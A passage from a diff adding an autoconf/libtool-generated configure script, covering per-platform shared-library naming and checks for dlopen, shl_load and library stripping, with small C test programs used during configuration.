library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6 +test "$dynamic_linker" = no && can_build_shared=no + +echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6 +hardcode_action= +if test -n "$hardcode_libdir_flag_spec" || \ + test -n "$runpath_var" || \ + test "X$hardcode_automatic" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, )" != no && + test "$hardcode_minus_L" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action=unsupported +fi +echo "$as_me:$LINENO: result: $hardcode_action" >&5 +echo "${ECHO_T}$hardcode_action" >&6 + +if test "$hardcode_action" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6 +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 + else + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 +fi + ;; + *) + echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6 + ;; + esac +fi + +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dl_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + echo "$as_me:$LINENO: checking for shl_load" >&5 +echo $ECHO_N "checking for shl_load... $ECHO_C" >&6 +if test "${ac_cv_func_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define shl_load to an innocuous variant, in case <limits.h> declares shl_load. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define shl_load innocuous_shl_load + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char shl_load (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef shl_load + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +{ +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char shl_load (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_shl_load) || defined (__stub___shl_load) +choke me +#else +char (*f) () = shl_load; +#endif +#ifdef __cplusplus +} +#endif + +int +main () +{ +return f != shl_load; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_func_shl_load=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_func_shl_load" >&5 +echo "${ECHO_T}$ac_cv_func_shl_load" >&6 +if test $ac_cv_func_shl_load = yes; then + lt_cv_dlopen="shl_load" +else + echo "$as_me:$LINENO: checking for shl_load in -ldld" >&5 +echo $ECHO_N "checking for shl_load in -ldld... $ECHO_C" >&6 +if test "${ac_cv_lib_dld_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char shl_load (); +int +main () +{ +shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_shl_load=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dld_shl_load=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dld_shl_load" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_shl_load" >&6 +if test $ac_cv_lib_dld_shl_load = yes; then + lt_cv_dlopen="shl_load" lt_cv_dlopen_libs="-dld" +else + echo "$as_me:$LINENO: checking for dlopen" >&5 +echo $ECHO_N "checking for dlopen... $ECHO_C" >&6 +if test "${ac_cv_func_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define dlopen to an innocuous variant, in case <limits.h> declares dlopen. + For example, HP-UX 11i <limits.h> declares gettimeofday. */ +#define dlopen innocuous_dlopen + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char dlopen (); below. + Prefer <limits.h> to <assert.h> if __STDC__ is defined, since + <limits.h> exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include <limits.h> +#else +# include <assert.h> +#endif + +#undef dlopen + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +{ +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_dlopen) || defined (__stub___dlopen) +choke me +#else +char (*f) () = dlopen; +#endif +#ifdef __cplusplus +} +#endif + +int +main () +{ +return f != dlopen; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_func_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_func_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +fi +echo "$as_me:$LINENO: result: $ac_cv_func_dlopen" >&5 +echo "${ECHO_T}$ac_cv_func_dlopen" >&6 +if test $ac_cv_func_dlopen = yes; then + lt_cv_dlopen="dlopen" +else + echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dl_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6 +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + echo "$as_me:$LINENO: checking for dlopen in -lsvld" >&5 +echo $ECHO_N "checking for dlopen in -lsvld... $ECHO_C" >&6 +if test "${ac_cv_lib_svld_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lsvld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dlopen (); +int +main () +{ +dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_svld_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_svld_dlopen=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_svld_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_svld_dlopen" >&6 +if test $ac_cv_lib_svld_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-lsvld" +else + echo "$as_me:$LINENO: checking for dld_link in -ldld" >&5 +echo $ECHO_N "checking for dld_link in -ldld... $ECHO_C" >&6 +if test "${ac_cv_lib_dld_dld_link+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldld $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char dld_link (); +int +main () +{ +dld_link (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dld_dld_link=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_dld_dld_link=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_dld_dld_link" >&5 +echo "${ECHO_T}$ac_cv_lib_dld_dld_link" >&6 +if test $ac_cv_lib_dld_dld_link = yes; then + lt_cv_dlopen="dld_link" lt_cv_dlopen_libs="-dld" +fi + + +fi + + +fi + + +fi + + +fi + + +fi + + ;; + esac + + if test "x$lt_cv_dlopen" != xno; then + enable_dlopen=yes + else + enable_dlopen=no + fi + + case $lt_cv_dlopen in + dlopen) + save_CPPFLAGS="$CPPFLAGS" + test "x$ac_cv_header_dlfcn_h" = xyes && CPPFLAGS="$CPPFLAGS -DHAVE_DLFCN_H" + + save_LDFLAGS="$LDFLAGS" + eval LDFLAGS=\"\$LDFLAGS $export_dynamic_flag_spec\" + + save_LIBS="$LIBS" + LIBS="$lt_cv_dlopen_libs $LIBS" + + echo "$as_me:$LINENO: checking whether a program can dlopen itself" >&5 +echo $ECHO_N "checking whether a program can dlopen itself... $ECHO_C" >&6 +if test "${lt_cv_dlopen_self+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +#line 8916 "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self=no + fi +fi +rm -fr conftest* + + +fi +echo "$as_me:$LINENO: result: $lt_cv_dlopen_self" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self" >&6 + + if test "x$lt_cv_dlopen_self" = xyes; then + LDFLAGS="$LDFLAGS $link_static_flag" + echo "$as_me:$LINENO: checking whether a statically linked program can dlopen itself" >&5 +echo $ECHO_N "checking whether a statically linked program can dlopen itself... $ECHO_C" >&6 +if test "${lt_cv_dlopen_self_static+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + if test "$cross_compiling" = yes; then : + lt_cv_dlopen_self_static=cross +else + lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2 + lt_status=$lt_dlunknown + cat > conftest.$ac_ext <<EOF +#line 9014 "configure" +#include "confdefs.h" + +#if HAVE_DLFCN_H +#include <dlfcn.h> +#endif + +#include <stdio.h> + +#ifdef RTLD_GLOBAL +# define LT_DLGLOBAL RTLD_GLOBAL +#else +# ifdef DL_GLOBAL +# define LT_DLGLOBAL DL_GLOBAL +# else +# define LT_DLGLOBAL 0 +# endif +#endif + +/* We may have to define LT_DLLAZY_OR_NOW in the command line if we + find out it does not work in some platform. */ +#ifndef LT_DLLAZY_OR_NOW +# ifdef RTLD_LAZY +# define LT_DLLAZY_OR_NOW RTLD_LAZY +# else +# ifdef DL_LAZY +# define LT_DLLAZY_OR_NOW DL_LAZY +# else +# ifdef RTLD_NOW +# define LT_DLLAZY_OR_NOW RTLD_NOW +# else +# ifdef DL_NOW +# define LT_DLLAZY_OR_NOW DL_NOW +# else +# define LT_DLLAZY_OR_NOW 0 +# endif +# endif +# endif +# endif +#endif + +#ifdef __cplusplus +extern "C" void exit (int); +#endif + +void fnord() { int i=42;} +int main () +{ + void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW); + int status = $lt_dlunknown; + + if (self) + { + if (dlsym (self,"fnord")) status = $lt_dlno_uscore; + else if (dlsym( self,"_fnord")) status = $lt_dlneed_uscore; + /* dlclose (self); */ + } + + exit (status); +} +EOF + if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && test -s conftest${ac_exeext} 2>/dev/null; then + (./conftest; exit; ) 2>/dev/null + lt_status=$? + case x$lt_status in + x$lt_dlno_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_dlneed_uscore) lt_cv_dlopen_self_static=yes ;; + x$lt_unknown|x*) lt_cv_dlopen_self_static=no ;; + esac + else : + # compilation failed + lt_cv_dlopen_self_static=no + fi +fi +rm -fr conftest* + + +fi +echo "$as_me:$LINENO: result: $lt_cv_dlopen_self_static" >&5 +echo "${ECHO_T}$lt_cv_dlopen_self_static" >&6 + fi + + CPPFLAGS="$save_CPPFLAGS" + LDFLAGS="$save_LDFLAGS" + LIBS="$save_LIBS" + ;; + esac + + case $lt_cv_dlopen_self in + yes|no) enable_dlopen_self=$lt_cv_dlopen_self ;; + *) enable_dlopen_self=unknown ;; + esac + + case $lt_cv_dlopen_self_static in + yes|no) enable_dlopen_self_static=$lt_cv_dlopen_self_static ;; + *) enable_dlopen_self_static=unknown ;; + esac +fi + + +# Report which librarie types wil actually be built +echo "$as_me:$LINENO: checking if libtool supports shared libraries" >&5 +echo $ECHO_N "checking if libtool supports shared libraries... $ECHO_C" >&6 +echo "$as_me:$LINENO: result: $can_build_shared" >&5 +echo "${ECHO_T}$can_build_shared" >&6 + +echo "$as_me:$LINENO: checking whether to build shared libraries" >&5 +echo $ECHO_N "checking whether to build shared libraries... $ECHO_C" >&6 +test "$can_build_shared" = "no" && enable_shared=no + +# On AIX, shared libraries and static libraries use the same namespace, and +# are all built from PIC. +case "$host_os" in +aix3*) + test "$enable_shared" = yes && enable_static=no + if test -n "$RANLIB"; then + archive_cmds="$archive_cmds~\$RANLIB \$lib" + postinstall_cmds='$RANLIB $lib' + fi + ;; + +aix4* | aix5*) + if test "$host_cpu" != ia64 && test "$aix_use_runtimelinking" = no ; then + test "$enable_shared" = yes && enable_static=no + fi + ;; +esac +echo "$as_me:$LINENO: result: $enable_shared" >&5 +echo "${ECHO_T}$enable_shared" >&6 + +echo "$as_me:$LINENO: checking whether to build static libraries" >&5 +echo $ECHO_N "checking whether to build static libraries... $ECHO_C" >&6 +# Make sure either enable_shared or enable_static is yes. +test "$enable_shared" = yes || enable_static=yes +echo "$as_me:$LINENO: result: $enable_static" >&5 +echo "${ECHO_T}$enable_static" >&6 + +# The else clause should only fire when bootstrapping the +# libtool distribution, otherwise you forgot to ship ltmain.sh +# with your package, and you will get complaints that there are +# no rules to generate ltmain.sh. +if test -f "$ltmain"; then + # See if we are running on zsh, and set the options which allow our commands through + # without removal of \ escapes. + if test -n "${ZSH_VERSION+set}" ; then + setopt NO_GLOB_SUBST + fi + # Now quote all the things that may contain metacharacters while being + # careful not to overquote the AC_SUBSTed values. We take copies of the + # variables and quote the copies for generation of the libtool script. + for var in echo old_CC old_CFLAGS AR AR_FLAGS EGREP RANLIB LN_S LTCC NM \ + SED SHELL STRIP \ + libname_spec library_names_spec soname_spec extract_expsyms_cmds \ + old_striplib striplib file_magic_cmd finish_cmds finish_eval \ + deplibs_check_method reload_flag reload_cmds need_locks \ + lt_cv_sys_global_symbol_pipe lt_cv_sys_global_symbol_to_cdecl \ + lt_cv_sys_global_symbol_to_c_name_address \ + 